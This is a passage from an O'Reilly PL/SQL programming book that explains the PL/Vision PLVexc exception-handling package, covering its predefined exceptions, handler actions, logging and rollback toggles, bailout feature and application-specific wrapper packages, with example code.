There is, in other words, a lot going on when a developer makes a simple, high-level call to a PLVexc error handling procedure. Yet all that activity is rendered invisible by the package. All the user of PLVexc has to know is what kind of action he wants to perform. Ignore the error? Record and continue? Record and halt? Just tell PLVexc what it is you want to do and let the component do the rest.

The PLVexc package is the best example in PL/Vision of a plug-and-play component, prebuilt code you can plug into your own programs, instantly improving the functionality, reliability, and flexibility of your own applications. In this chapter, I'll first show you how to use PLVexc. Then I'll present the implementation of PLVexc in two stages: the first version I built and the second, "final" version of the package you will find on the disk.

I show you the two stages of development and design of PLVexc so that you can follow the thought process I used to move from a specific problem to an increasingly generalized solution. Learning how to use PLVexc in your environment is important, but even more important and more difficult is to develop your own analytical and programming skills so that you can build your own plug-and-play package-based components.

22.1.2 Package-Based Exceptions

The PLVexc package provides several predefined exceptions for you to use and also to provide a model for adding additional exceptions in the same way to PLVexc. These exceptions are:

NO_SUCH_TABLE

ORA-00942: table or view does not exist

SNAPSHOT_TOO_OLD

ORA-01555: snapshot too old (rollback segment too small)

A third exception, process_halted, is used in the bailout feature and is discussed later in this chapter.

The code required to declare these exceptions is as follows:

no_such_table EXCEPTION;
PRAGMA EXCEPTION_INIT (no_such_table, -942);

snapshot_too_old EXCEPTION;
PRAGMA EXCEPTION_INIT (snapshot_too_old, -1555);

Why does PLVexc predefine these exceptions (and invite you to add more)? So every developer in your organization does not have to take these steps over and over again. Specifically, to achieve:

  • Consistent error handling in the application: developers will not define their own named exceptions willy-nilly throughout their programs. They make use of existing names for exceptions. Instead of coding their own handlers for WHEN OTHERS, they can use the prebuilt program, display_error.

  • Less buggy code: Novice and intermediate programmers do not have to deal with the EXCEPTION_INIT pragma and other complicated issues related to exception handlers. With the package, these details are shielded from the developer.

Once such exceptions are defined in a package, individual developers no longer need to know about the specific error numbers, nor do they have to be hassled with EXCEPTION_INIT syntax.

22.1.3 Impact of Predefined Exceptions

Compare the two PL/SQL blocks below. The first demonstrates the kind of code one would have to write without the predefined exceptions as found in PLVexc.

DECLARE
   no_such_table EXCEPTION;
   PRAGMA EXCEPTION_INIT (no_such_table, -942);
BEGIN
   perform_action;
EXCEPTION
   WHEN no_such_table
   THEN
      do_something;
END;

The second block shows how one's code would look with PLVexc in place:

BEGIN
   perform_action;
EXCEPTION
   WHEN PLVexc.no_such_table
   THEN
      PLVexc.handle
        ('action', SQLCODE, PLVexc.c_recNstop);
END;

No declaration section required, no need for the developer to write all that extra code. Just pick from the package-based selections and keep on developing! The benefits of this approach go well beyond short-term productivity gains. If all developers work from this predefined set of exceptions, overall application code volume is reduced, and along with that the number of bugs that are introduced and then tested out of the application.

The PLVexc package contains only two predefined exceptions. When you apply this technique into your own environment you will undoubtedly want to add to this section any of the unnamed system exceptions your developers will encounter routinely. And even if you don't think of them all before development begins, you can always add to the set of exceptions as you proceed. Simply set as a guideline for programmers that they never use the EXCEPTION_INIT pragma in their code. Instead, they take the time to add that exception to the package and then reference the package-based exception.

22.1.4 Exception Handling Actions

One of the major improvements offered by PLVexc is the ability for a developer to simply state the kind of action needed in a particular exception handler. You can do this in two ways: pass the action as the third argument to the low-level handle procedure or call a high-level handler whose very name encapsulates the action.

PLVexc supports four different exception-handling actions. These are presented in the table below, along with the corresponding packaged constants used in the call to handle and the corresponding high-level handler program.

Action

Constant

Handler Program

Description

Continue processing

c_go

go

Continue processing; do not record the error. This is the equivalent of WHEN OTHERS THEN NULL, which means "ignore this error."

Record and then continue

c_recNgo

recNgo

Record the error and then continue processing. This action would be appropriate when the exception affects the current block but is not severe enough to stop the entire session.

Halt processing

c_stop

stop

Stop processing; do not record the error. This action causes PLVexc to raise the process_halted exception. This action would be appropriate when the exception is so severe (either in terms of the database or the application) that it requires termination of the entire session.

Record and then halt processing

c_recNstop

recNstop

Record the error and then

stop processing. This action causes PLVexc to raise the process_halted exception, as with c_stop.

By providing named constants, users of PLVexc do not have to be aware of the specific literal values used by PLVexc. This advantage is even greater when calling the stop or recNgo programs. Instead of passing cryptic acronyms, users can rely on named elements to make their code self-documenting and easy to maintain. Most importantly, users do not have to be aware of either how the recording process takes place or how the program is halted. They can just make the request.

22.1.5 What About the Reraise Action?

Another kind of action you might want to take is to reraise the same exception that brought you into the exception section. You can do this in PL/SQL by issuing an unqualified RAISE statement, as shown below:

EXCEPTION
   WHEN OTHERS
   THEN
      p.l ('Error code: ', SQLCODE);
      RAISE;

In this fragment, when any error occurs, I display the error code and then reraise that same error to propagate the exception out to the enclosing block.

This is a very useful feature of PL/SQL and it seemed only reasonable to implement this action in PLVexc when I encountered this functionality about six months ago (yet another aspect of PL/SQL of which I was ignorant when writing Oracle PL/SQL Programming ). Eager to please, I spent an hour or two adding the necessary constant, high-level handler and accompanying code. A simplified version of my high-level handler looked like this:

PROCEDURE reraise
IS
BEGIN
   p.l ('description of error');
   RAISE;
END;

Confident of my new approach, I even put together the following test script to test out my new functionality:

BEGIN
   p.l ('Divide by zero!', 1/0);
EXCEPTION
   WHEN OTHERS
   THEN
      PLVrec.reraise;
END;

Finally, after all of my furious coding, it was time to compile my PLVexc package and run some tests. Imagine my surprise when I received the following compile error on the reraise procedure:

PLS-00367: a RAISE statement with no exception name must be inside an
           exception

It turned out that my great idea was a completely invalid idea! You can only issue the unqualified RAISE statement inside an exception section, which makes a whole lot of sense. If you are not inside an exception section, there is no current exception, so the statement:

RAISE;

makes no sense at all. What are you raising? A roof? A stink? I sheepishly deleted all reraise-related code from my package. Some PL/SQL guru!

The reason I relate this story to you is that it taught me (well, reminded me of) an important lesson: before you embark on building powerful, generic utilities, do the research necessary to prove that your ideas are possible and practical.

22.1.6 Handling Errors

Now that you are familiar with the different kind of actions you can request in PLVexc, let's look at the programs you can call to handle your errors. PLVexc provides two levels of handlers. The low-level program, the handle procedure, allows (and expects) you to fully specify all the information about the exception in the argument list. The high-level programs rely on a higher level of abstraction, making it easier to use the PLVexc package; PL/Vision automatically figures out the where, what, and when of the problem.

22.1.6.1 The handle procedure

The header for the low-level, generic exception handler program is as follows:

PROCEDURE handle
   (context_in IN VARCHAR2,
    err_code_in IN INTEGER,
    handle_action_in IN VARCHAR2,
    string_in IN VARCHAR2 := SQLERRM);

The handle procedure accepts four arguments, which are explained below:

context_in

The context or program in which the error occurred. This is free-form text, but as I explain later in Section 22.2, "Application-Specific Exception Packages", you want to use named constants to avoid chaos in this area.

err_code_in

The error code. You generally pass in the SQLCODE function for this argument, since that shows the current SQL layer error. You can, however, pass any integer, including application-specific errors in the -20NNN range as well.

handle_action_in

The string constant that informs PLVexc of the action you want to take, such as "record and continue" or "halt." The only values you should pass are the PLVexc constants: c_go, c_recNgo, c_stop, or c_recNstop.

string_in

The error message, the default of which is that string returned by the SQLERRM function.

If your error code falls within the range -20,000 to -20,999 and you request that the program be halted, then PLVexc automatically calls RAISE_APPLICATION_ERROR to raise the error and communicate the error information back to the client program. Otherwise, when you want the program halted, PLVexc.handle uses the RAISE statement to raise the process_halted exception defined in the package.

The various arguments allow developers to handle exceptions in different ways and pass very specific information to the exception-handling component. Let's look at some examples.

  1. Write an exception handler to detect NO_DATA_FOUND, in which case information about the current record is saved and the application continues.

    EXCEPTION
   WHEN NO_DATA_FOUND
   THEN
      PLVexc.handle
         ('getcompany',
          SQLCODE,
          PLVexc.c_recNgo,
          TO_CHAR (v_company_id));
END;

    NOTE: Remember that logging or displaying must be turned on in order for a "record" request like that shown above to actually have an impact. See Section 22.1.7, "Recording Errors" for more information on these features.

  2. Write an exception to detect a failure in the current program and, instead of relying on SQLCODE, pass a -20NNN error number with an accompanying message. This would be necessary if the error occurs inside a database trigger and must be passed back to the client application.

EXCEPTION
   WHEN OTHERS
   THEN
      PLVexc.handle
         ('check_emp_age',
          -20500,
          PLVexc.c_recNstop,
          'Employee too young: ' || TO_CHAR (:new.birthdate));
END;

22.1.6.2 The high-level handlers

The PLVexc.handle is a significant improvement over writing your own exception-handling code over and over again. Still, it requires that you enter lots of information. You have to provide the current program, the error code, and the action (the error message is optional). Doesn't it seem silly that you would have to tell a PL/SQL program the name of the program that is currently executing? Shouldn't that information be accessible from PL/SQL itself? And shouldn't the PL/SQL runtime engine know about the current error?

The answer to all these questions is "yes and no." Yes, the PL/SQL runtime engine should know about the current program name and the current errors -- and in many circumstances it does know about this information. Unfortunately (and here's the "no" part), while the DBMS_UTILITY.FORMAT_CALL_STACK does return the active PL/SQL execution stack, it does not tell you which program inside a package is being executed (see Chapter 21, PLVlog and PLVtrc: Logging and Tracing, for more information on this phenomenon). And it is quite impossible for PL/SQL to know the current error when it is an application-specific problem (you raised a programmer-defined exception).

It is possible, on the other hand, to overcome these complications. Using the PL/Vision message, trace, and exception-handling packages in an integrated fashion, you can greatly simplify the task of providing comprehensive exception handling in your applications.

The high-level handler programs of PLVexc hide almost all the details and data needed to respond to and record exceptions. The headers for these handlers are:

PROCEDURE recNgo (msg_in IN VARCHAR2 := NULL);
PROCEDURE recNgo (err_code_in IN INTEGER);

PROCEDURE go (msg_in IN VARCHAR2 := NULL);
PROCEDURE go (err_code_in IN INTEGER);

PROCEDURE recNstop (msg_in IN VARCHAR2 := NULL);
PROCEDURE recNstop (err_code_in IN INTEGER);

PROCEDURE stop (msg_in IN VARCHAR2 := NULL);
PROCEDURE stop (err_code_in IN INTEGER);

Notice that there is a handler name for each action and there are two versions for each action: one that accepts an additional message and one that has an integer argument. If you call a handler with a string, that string is recorded or displayed as the error message. If you pass a string to a high-level handler like recNstop, it will use the value returned by the SQLCODE function as the error number, and your string as the error message.

If you call a handler with an integer error code, the error message is retrieved from PLVmsg facility based on that numeric code (see Section 22.1.6.4, "Defining error messages with PLVmsg"). And those are the only two types of information to pass to PLVexc.

What about the action code? With the high-level handlers, the action you want taken has been moved from the parameter list of the program to the very name of the program itself.

What about the current program name? You don't provide it in the call. Instead, you define the current program with a call to PLVtrc.startup at the beginning of each program unit (see Section 22.1.6.5, "Integrating PLVexc with PLVtrc "). Can exception handling get any easier than that?

22.1.6.3 Using the high-level handlers

Let's look at some examples of using these handlers.

  1. When my implicit query retrieves too many rows, I want to simply continue processing. For any other errors, record and halt.

    EXCEPTION
   WHEN TOO_MANY_ROWS
   THEN
      PLVexc.go;

   WHEN OTHERS
   THEN
      PLVexc.recNstop;

  2. When my database trigger on the emp table detects that the employee is underage, it raises a packaged exception in the -20NNN range. This error number is given a name in the empmaint package, which is then passed to the call to PLVexc.recNhalt so that this application-specific exception can be registered.

    BEGIN
   IF :new.birthdate > ADD_MONTHS (SYSDATE, -216 /* 12 x 18 */)
   THEN
      RAISE empmaint.too_young;
   END IF;
    EXCEPTION
   WHEN too_young
       THEN
      PLVexc.recNhalt (empmaint.en_too_young);
END;

  3. When a duplicate value in an index exception is raised, store the current primary key and other unique information for the new company so that you can figure out what went wrong. Then continue with the processing.

    EXCEPTION
   WHEN DUP_VAL_ON_INDEX
   THEN
      PLVexc.recNgo (TO_CHAR (v_comp_id) || '-' || v_comp_nm));
END;

22.1.6.4 Defining error messages with PLVmsg

There are two scenarios under which PLVexc obtains the text of an error message from the PLVmsg package:

  1. When you use an integer version of a high-level handler (you pass in an error number).

  2. When you use the string version of a high-level handler, but pass in a NULL string (the default value).

In both of these cases, the handler calls PLVmsg.text, passing it either the value returned by SQLCODE or your own error number, in order to obtain the error text. If the error number is between -20,000 and -20,999, the PLVmsg package tries to get the error message from the text table maintained by the PLVmsg package. Let's look at how you would put all these pieces in place for the trigger discussed in the previous section. I passed the error number empmaint.en_too_young in my call to recNhalt. Suppose this constant is defined as:

en_too_young CONSTANT INTEGER := -20033;

in the empmaint package. Then in the initialization section of that package I should also execute the code necessary to store the message for this error in the PLVmsg table. I would do this by issuing a call to PLVmsg.add_text procedure as shown below:

PACKAGE BODY empmaint
IS
   en_too_young CONSTANT INTEGER := -20033;

   ... all the code ..

/* The initialization section */
BEGIN
   PLVmsg.add_text
      (en_too_young,
       'Employee must be at least 18 years old.');
END;

In fact, for every error number defined in the package, I would need a call to PLVmsg.add_text to make that string accessible through the PLVmsg interface and, thus, to the PLVexc handler programs.

22.1.6.5 Integrating PLVexc with PLVtrc

As noted in the previous section, when you use the high-level handler programs such as go and recNstop, you do not have to tell PLVexc the name of the current program. This is true, however, only if you integrate your use of PLVexc with the PLVtrc package.

PLVtrc provides two programs to build and maintain its own execution stack of PL/SQL programs. You call PLVtrc.startup to indicate to PL/Vision that a new program has started (and this program can be a procedure, function, or even anonymous block). You call PLVtrc.terminate to indicate to PL/Vision that the current program has ended. The body of the calc_totals procedure below demonstrates this approach:

PROCEDURE calc_totals
IS
BEGIN
   PLVtrc.startup ('ct');

   ALL_OTHER_CODE;

   PLVtrc.terminate;

EXCEPTION
   WHEN NO_DATA_FOUND
   THEN
      PLVexc.continue;

   WHEN balance_too_low
   THEN
      PLVexc.halt;

   WHEN OTHERS
   THEN
      PLVtrc.terminate;
      RAISE;
END;

The first line in the body calls startup. Then all the rest of the code is executed. The last line in the procedure calls the trace terminate program. These statements manage the execution stack for successful execution of calc_totals. Now let's look at the exception handlers. In the first two handlers (for NO_DATA_FOUND and balance_too_low), I call one of my high-level PLVexc handler programs. These programs automatically maintain the PLVtrc execution stack with a call to PLVexc.terminate, so you do not have to do it yourself. The last, OTHERS handler only reraises the exception. Since it does not use a PLVexc handler, I must include an explicit call to PLVexc.terminate to update the execution stack.

In the next example, I use the startup and terminate procedures to track execution of a nested, anonymous block.

PROCEDURE annual_calcs (val in number)
IS
BEGIN
   PLVtrc.startup ('proc');
   calc_gross_revenue;
   BEGIN
      PLVtrc.startup ('analyze');
      calc_rev_distribution;
      PLVtrc.terminate;
   EXCEPTION
      WHEN OTHERS THEN PLVexc.halt;
   END;
   call_profits;
   PLVtrc.terminate;
EXCEPTION
   WHEN OTHERS THEN PLVexc.rec_continue;
END;
/

With this code you can see some of the additional power and flexibility available with PL/Vision. There is no way at all to track through the PL/SQL stack the startup and execution of a local, anonymous block. Sure, you have to code it yourself, but at least you can get the information you need. Furthermore, if you don't turn on the trace, the overhead incurred by the PLVexc program calls is minimal.

Recognizing the difficulty of even remembering to include calls to PLVtrc modules in your programs, the PL/Vision code generator package, PLVgen, generates procedures and functions with calls to startup and terminate already in place. So if you start to use PLVgen as a starting point for your program creation, you will be able to leverage all of these components of PL/Vision and actually be more productive.

22.1.7 Recording Errors

As you can see from the exception-handling actions, you can record an error in PLVexc. This package gives you two options for how to record the process:

  1. Write the error information to the PL/Vision log through calls to PLVlog.

  2. Display the error information to the screen (or standard output) using the p.l procedure.

You can perform both of these steps simultaneously when an error occurs, or you can turn on only one of these options. The programs to manage these record features are discussed below.

22.1.7.1 Logging errors

PLVexc provides a standard PL/Vision toggle to control logging of errors with PLVlog. The headers for these programs are:

PROCEDURE log;
PROCEDURE nolog;
FUNCTION logging RETURN BOOLEAN;

These toggles allow developers to change the behavior of exception handling in PLVexc without making any changes to their application or to the PLVexc package itself. When you want to record the errors to the PL/Vision log, you simply execute this command before running the application:

PLVexc.log;

Then each time a PLVexc handler program is executed, the following information is written to the log:

  • Current program

  • Error code

  • Error message

  • User who raised the exception

  • Time/date of logging

The default value for logging in PLVexc is that it is turned on. You do not, in other words, have to call PLVexc.log to turn on logging if you have just started up your session.

22.1.7.2 Showing errors

PLVexc provides a standard PL/Vision toggle to control showing of errors with PLVshow. The headers for these programs are:

PROCEDURE show;
PROCEDURE noshow;
FUNCTION showing RETURN BOOLEAN;

These toggles allow developers to change the behavior of exception handling in PLVexc without making any changes to their application or to the PLVexc package itself. When you want to view the exceptions as they occur (or, at least, when the PL/SQL program completes its execution), you simply enter the following command:

PLVexc.show;

When you are done viewing the errors and only want the information logged (or completely ignored, depending on the value returned by PLVexc.logging), you execute this command:

PLVexc.noshow;

The default value for showing exceptions from PLVexc is that it is turned off. You must, in other words, call PLVexc.show when you want to view exceptions directly from the screen.

Logging and showing of errors are completely independent actions. You do not have to have logging turned on in order to also show the errors.

22.1.7.3 Using the record toggles

The following scenarios will give you a better idea of when and how these toggles would be used.

Scenario 1: Suppose that I want to execute a batch procedure that transfers and transforms several million rows from a temporary table to its final resting place. I know in advance that the load process will generate thousands of exceptions. I know also that it is not necessary to keep track of these errors, so I do not want to clog up my log table with that information. In the following script, therefore, I turn off both logging and display of errors and then execute the batch load.

BEGIN
   PLVexc.nolog;
   PLVexc.noshow;
   batch_load (SYSDATE);
END;
/

Scenario 2: I am testing a new program and expect errors to pop up. Rather than go through the trouble of querying the contents of the log table, I would like to simply display errors to the screen and respond immediately.

SQL> exec PLVexc.nolog;
SQL> exec PLVexc.show;
SQL> exec new_program;
proc1 Code -6502
ORA-06502: PL/SQL: numeric or value error

Of course, when the application moves to production status, you will want to log errors to a table or some kind of repository. You rarely ever want to display them directly to users. Consequently, these are the default settings for the PLVexc toggles.

22.1.8 Rolling Back When an Exception Occurs

PLVexc provides a PL/Vision toggle to control whether PLVexc requests a rollback (executed within PLVlog) before error information is written to the log. The headers for these programs are:

PROCEDURE rblast;
PROCEDURE rbdef;
PROCEDURE norb;
FUNCTION rb RETURN VARCHAR2;

The default is to perform a rollback to the last savepoint set with a call to PLVrb.set_savepoint (rblast). If you do not want a rollback to occur before logging the error, issue this command before you start your application:

PLVexc.norb;

You have only three options concerning rollbacks from within PLVexc:

  1. Roll back to the last savepoint set by calling PLVrb.set_savepoint. Call PLVexc.rblast to select this behavior (the default).

  2. Perform a rollback based on the current/default behavior defined in PLVlog (see Chapter 21). Call PLVexc.rbdef to select this behavior.

  3. Do not perform any rollback before insertion of error information into the PL/Vision log. Call PLVexc.norb to select this behavior (the default).

If you want to see if PLVexc is currently requesting a rollback, call the rb function. It returns the PLVlog rollback action code.

22.1.9 Halting in PLVexc

When you request that the processing in your application halt by calling recNstop or simply stop, the PLVexc takes all appropriate actions and then issues the following statement:

RAISE process_halted;

The process_halted exception is declared by name in the specification of the PLVexc package. It is not associated with any error number in the -20NNN range. As a result, there are only two ways you can trap this exception once it is raised.

  1. With an exception handler specifically for this exception, which would look like this:

    WHEN PLVexc.process_halted
THEN
   do_something;

  2. With a WHEN OTHERS section, which traps any and every kind of exception.

You can choose to handle the halting exception, in which case the processing of your application might still be able to continue. Generally, however, you will not trap this exception and instead let it propagate up to the top of the PL/SQL calling stack, where it goes unhandled. A WHEN OTHERS handler will, of course, trap this exception. As a final option, you might handle this exception at the outermost block so that you can perform a commit and save writes to the error log (if it is a database table).

Using the bailout feature, you can also truly and completely bail out of your program regardless of the presence of a WHEN OTHERS section. See Section 22.1.10, "Bailing Out with PLVexc" for more information on this feature.

22.1.10 Bailing Out with PLVexc

You have already seen how you can stop your current program by requesting a halting action. This request causes PLVexc to raise an exception as follows:

RAISE process_halted;

This exception propagates out of, and closes, enclosing PL/SQL blocks until it hits an exception handler specifically for that exception or until it encounters a WHEN OTHERS exception.

But what if you really want to bail out entirely and immediately from your application? I encountered a situation recently where a very long-running program would work fine for an hour or two, but then raise an ORA-3113 error: "end of file on communication channel". My program had lost its connection; there was no point in going on. Yet because I had made rigorous use of my PLVexc exception handler programs, I trapped the error, logged the problem, and continued on to the next transaction. It made no sense, given the error, but on it went, accumulating error log records until the tablespace was full, at which point the application generated ORA-3113 and ORA-1547 errors. I had a full-scale mess on my hands.

This experience brought to light a different class of errors: fatal problems whose occurrence should always signal the need for a total shutdown of the application. There is, after all, little point in continuing when you are not connected to the database.

PLVexc supports this functionality by allowing you to specify a set of error codes which, when raised, cause an unstoppable "bail out" from your program. These are called the bailout errors. As long as you use PLVexc handlers in all of your exception sections, a bailout error will propagate out of WHEN OTHERS sections even if you specify a continue action.

There are two aspects to the bailout feature: (a) establishing the list of bailout errors; and (b) starting and stopping the bailout itself. It is up to the users of PLVexc to create a list of bailout errors. It is usually left to PLVexc to initiate the bailout; you can, however, do this yourself as well. The programs that support both parts of bailing out are covered below.

22.1.10.1 Managing the bailout error list

You add an error number to the bailout error list by calling the bailout_on procedure, whose header is shown below:

PROCEDURE bailout_on (err_code_in IN INTEGER);

The following statements add several error codes to the bailout error list. In a production environment, you might even place these calls inside a login.sql script which is run whenever SQL*Plus is initiated to run a regular, batch process.

PLVexc.bailout_on (-3113); /* end-of-file on comm error */
PLVexc.bailout_on (-1547); /* failed to allocate extent */
PLVexc.bailout_on (-1555); /* snapshot too old */
PLVexc.bailout_on (-1562); /* can't extend rollback */

To remove an error number from the bailout error list, call the nobailout_on procedure:

PROCEDURE nobailout_on (err_code_in IN INTEGER);

To clear the entire list of bailout errors, call the clear_bailouts procedure:

PROCEDURE clear_bailouts;

To determine if an error number is currently on the bailout list, call the bailout_error function, whose header is shown below:

FUNCTION bailout_error (err_code_in IN INTEGER) RETURN BOOLEAN;

Once you have defined your bailout list, you (and, more to the point, PLVexc) can reference this list to determine if a bailout should be initiated or stopped.

22.1.10.2 Starting and stopping the bailout

The bailout procedure raises the process_halted exception of the PLVexc package and switches PLVexc into "bailout mode." Here is the header for this procedure:

PROCEDURE bailout;

This program takes two steps: it sets a Boolean flag to indicate PLVexc is now bailing out and it then raises the process_halted exception.

You can stop a bailout in progress with a call to nobailout:

PROCEDURE nobailout;

PLVexc never calls this program. It is up to you to decide if you want to stop propagation of the exception and continue processing in your application.

You can also find out if PLVexc is currently bailing out with a call to the bailing_out function:

FUNCTION bailing_out RETURN BOOLEAN;

The bailout procedure is called by the low-level handle procedure if it encounters a bailout error or PLVexc is in bailout mode already. The following IF statement is, in fact, the first line of code in the body of the handle procedure:

IF bailing_out
THEN
   bailout;
END IF;

So if a bailout error was previously encountered or a developer calls PLVexc.bailout directly, the handle program short-circuits. It does not record the error. (PLVexc assumes that the error was recorded as specified when it was first handled.) It does not display the error; it just raises the process_halted exception -- again and again for as long as the PLVexc handler programs are called in exception sections of enclosing blocks.

Previous: 21.2 PLVtrc: Tracing Execution of PL/SQL Programs | Advanced Oracle PL/SQL Programming with Packages | Next: 22.2 Application-Specific Exception Packages
21.2 PLVtrc: Tracing Execution of PL/SQL Programs | Book Index | 22.2 Application-Specific Exception Packages
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Chapter 22] 22.2 Application-Specific Exception Packages

Advanced Oracle PL/SQL Programming with Packages

Advanced Oracle PL/SQL Programming with PackagesSearch this book

22.2 Application-Specific Exception Packages

PLVexc is a very generic, low-level package. It can be used in many different applications and under many different circumstances. This flexibility is one of its key strengths. I have found, on the other hand, that for complex application development, I will usually not want to make calls directly to the PLVexc.handle procedure. Instead, I will build another exception-handling package for my application which, in turn, references PLVexc elements.

This application-specific package offers several advantages, including:

  • It is aware of the different kinds of data I need to report on when an error occurs. This awareness helps guarantee a consistent format for error logging; this consistency greatly aids in recovery and analysis efforts.

  • It can predefine additional, application-specific exceptions that have no place in PLVexc.

Does this extra layer seem like overkill? Let's explore the motivation for this additional layer of code.

22.2.1 In the Trenches with PLVexc

It is the fall of 1995. I have just built my first version of PLVexc and immediately put it to use in an application that manipulates UPC codes for a retail operation. A UPC code is made up of a 14-digit number and a description. Each UPC (product) has many attributes, such as brand, product type, price, and so on. Each attribute has a name and value.

I find that as I build my exception handlers with PLVexc.handle I need to pass the same information repeatedly to my exception log. If I am working with UPCs I want to record the UPC number and description with which I am having a problem. When manipulating attributes, I need to keep track of the problematic UPC code, attribute name, and value. I also fully intend to write recovery scripts based on my error log data. For example, if the batch-driven insert of a new UPC fails because I ran out of extents on that table, I would like to be able to reorganize the table and then execute INSERTs from the error log.

If I am going to generate INSERTs from error log text, I need to make sure that text always has the same format.

22.2.1.1 Recording consistent error data

There are two ways I can achieve the desired consistency:

  1. Decide on a format and then send a memo to all developers working on this application. The memo explains the format (for example, "concatenate UPC code to description with a single hyphen as delimiter" and "concatenate UPC, attribute name, and value together using a single hyphen as the delimiter between these three elements") and asks developers to follow this format when using the PLVexc.handle procedure. It is then up to each person to cooperate and write the code correctly.

  2. Provide a prebuilt procedure that encapsulates the standard format inside the program. With this second approach, a developer conforms to the standard simply by using this program.

If I adopt the first approach (which, I can assure you, is the more-traveled route) here are the kind of exception handlers I find myself writing:

WHEN OTHERS
THEN
   PLVexc.handle
      ('ins_upc', SQLCODE,
       PLVexc.c_recNstop,
       TO_CHAR (upc_in) || '-' || desc_in);
END;

and:

WHEN OTHERS
THEN
   PLVexc.handle
      ('chg_upcattr', SQLCODE,
       PLVexc.c_recNstop,
       TO_CHAR (upc_in) || '-' ||
          attr_in || '-' || new_val_in);
END;

and once, because I believe suddenly that the new format is so much clearer, I code my handler this way:

WHEN OTHERS
THEN
   PLVexc.handle
      ('ins_upc', SQLCODE,
       PLVexc.c_recNstop,
       'UPC:' || TO_CHAR (upc_in) || ' DESC:' || desc_in);
END;

22.2.1.2 Tired fingers, buggy code

This is a lot of tedious, error-prone typing. I find myself expending more brain cells remembering the format than in surmounting application obstacles. And I say to myself: "Gee, it sure would be much easier to just pass the UPC and description to the handler and let it format the data properly." That seems like such a good idea that I immediately try out the concept by recoding some exception handlers as follows:

WHEN OTHERS
THEN
   upcexc.handle
      (upcexc.c_upc_update, SQLCODE, PLVexc.c_recNstop,
       upc_in, desc_in);
END;

and:

WHEN OTHERS
THEN
   upcexc.handle
      (upcexc.c_attr_analyze,
       SQLCODE,
       PLVexc.c_recNstop,
       v_curr_upc, new_attr_in, new_val_in);
END;

where upcexc is the projected name of a new package that would know about PLVexc and the UPC application. It bridges the gap between the completely generic and the uniquely specific, using module overloading to automatically understand the types of data passed to the handle program. Example 22.1 shows the full specification of the upcexc package.

Example 22.1: The upcexc Specification

CREATE OR REPLACE PACKAGE upcexc
IS
   /* Predefined exceptions, error numbers and messages. */
   upc_update_failure EXCEPTION;
   c_errno_update_upc CONSTANT INTEGER := -20000;
   c_errmsg_update_upc CONSTANT VARCHAR2(100) :=
      'Unable to update upc with new value.';

   no_reg_center EXCEPTION;
   c_errno_no_reg_center CONSTANT INTEGER := -20003;
   c_errmsg_no_reg_center CONSTANT VARCHAR2(100) :=
      'Regional center has not been defined.';

   /* Contexts for exception handling. */
   c_upc_inserts CONSTANT VARCHAR2(3) := 'UI';
   c_upc_updates CONSTANT VARCHAR2(3) := 'UU';
   c_attr_analyze CONSTANT VARCHAR2(3) := 'AA';

   PROCEDURE handle
      (context_in IN VARCHAR2,
       err_code_in IN INTEGER,
       handle_action_in IN VARCHAR2,
       upc_in IN upc.upc%TYPE,
       desc_in IN upc.description%TYPE);

   PROCEDURE handle
      (context_in IN VARCHAR2,
       err_code_in IN INTEGER,
       handle_action_in IN VARCHAR2,
       upc_in IN attribute.upc%TYPE,
       attribute_in IN attribute.attribute%TYPE,
       value_in IN attribute.value%TYPE);
END upcexc;

The body of the handler for UPC errors is shown below. Notice that it does just a little bit more work than simply calling PLVexc.handle; it formats the string passed to PLVexc.handle from the individual application-specific arguments.

PROCEDURE handle
   (context_in IN VARCHAR2,
    err_code_in IN INTEGER,
    handle_action_in IN VARCHAR2,
    upc_in IN upc.upc%TYPE,
    desc_in IN upc.description%TYPE)
IS
BEGIN
   PLVexc.handle
      (context_in, err_code_in, handle_action_in,
       'UPC=' || upc_in || ' DESC=' || desc_in);
END;

Now every time I use the upcexc.handle procedure, I am sure that my UPC and description values are formatted properly. At the same time, I use predefined constants from upcexc to specify my context or current program. I don't have to make up the name/abbreviation for the program on the fly -- it is already defined for me in the package. This additional consistency makes it easier to analyze and trace errors. Figure 22.1 shows the benefit of this additional layer of coding.

Figure 22.1: Layers of exception handling packages

The final added value of a package like upcexc is provided by the predefined application errors that fall between -20,000 and -20999. The package contains an exception, error number, and error message for each error in this range. By using these predefined elements, individual developers will not step on each others' error numbers and text.

With upcexc, I can quickly code my handlers without tripping over syntax and concatenation bars. I am, as a result, much more likely to reuse and fully leverage the underlying PLVexc package.

Special Notes on PLVexc

Remember that the high-level handlers automatically call PLVtrc.terminate. As a result, you should only use the high-level handlers when you really are leaving a PL/SQL block in which PLVtrc.startup was called. Otherwise the PLVtrc execution call stack becomes inaccurate.

Previous: 22.1 The Challenge of Exception Handling | Advanced Oracle PL/SQL Programming with Packages | Next: 22.3 Implementing PLVexc
22.1 The Challenge of Exception Handling | Book Index | 22.3 Implementing PLVexc
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Chapter 22] 22.3 Implementing PLVexc

Advanced Oracle PL/SQL Programming with Packages

Advanced Oracle PL/SQL Programming with PackagesSearch this book

22.3 Implementing PLVexc

Now that you have seen how to use the PLVexc plug-and-play component, let's go through the steps I followed to build this package. I will even show you two different stages of development of the package. It is very important for you to understand that while it is important to do it right the first time, it is also very unlikely that you will really and truly get it all correct in that first implementation. I present in this book software that I have massaged and fine-tuned repeatedly over the course of a year. You don't see all the pain, indecision, and transitional bugs of PL/Vision, but -- believe me -- they were there.

I learned in the course of building PLVexc that I need to progress through several phases in order to properly design and implement a package component. These phases are:

Phase 1. Understand the challenge and obstacle.

The first step I took to construct PLVexc was to understand fully the challenges faced by developers when building exception handlers in their PL/SQL programs. I have found that the more thoroughly I grasp the problem, the more accurate I will be in providing a solution.

Phase 2. Research the technical issues.

What are all the nuances of exception handling in PL/SQL? What are the gotchas, the no-can-dos? What things are possible, but never before attempted?

Phase 3. Implement the first version of the package.

Admit to yourself right up front: this is Version 1.0. It will change radically before you are done. But put something together so you can move on to the next phase.

Phase 4. Try out the package.

